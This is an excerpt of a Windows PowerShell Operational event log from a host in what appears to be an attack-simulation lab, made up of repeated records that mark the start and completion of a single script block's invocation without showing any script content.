Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468245
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468244
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468243
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468242
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468241
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468240
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468239
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468238
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468237
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468236
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468235
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:11 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468234
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468506
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468505
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468504
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468503
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468502
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468501
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468500
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468499
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468498
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468497
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468496
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468495
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468494
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468493
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468492
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468491
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468490
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468489
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468488
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468487
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468486
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468485
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468484
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468483
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468482
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468481
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468480
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468479
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468478
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468477
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468476
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468475
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468474
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468473
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468472
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468471
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468470
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468469
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468468
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468467
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468466
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468465
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468464
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
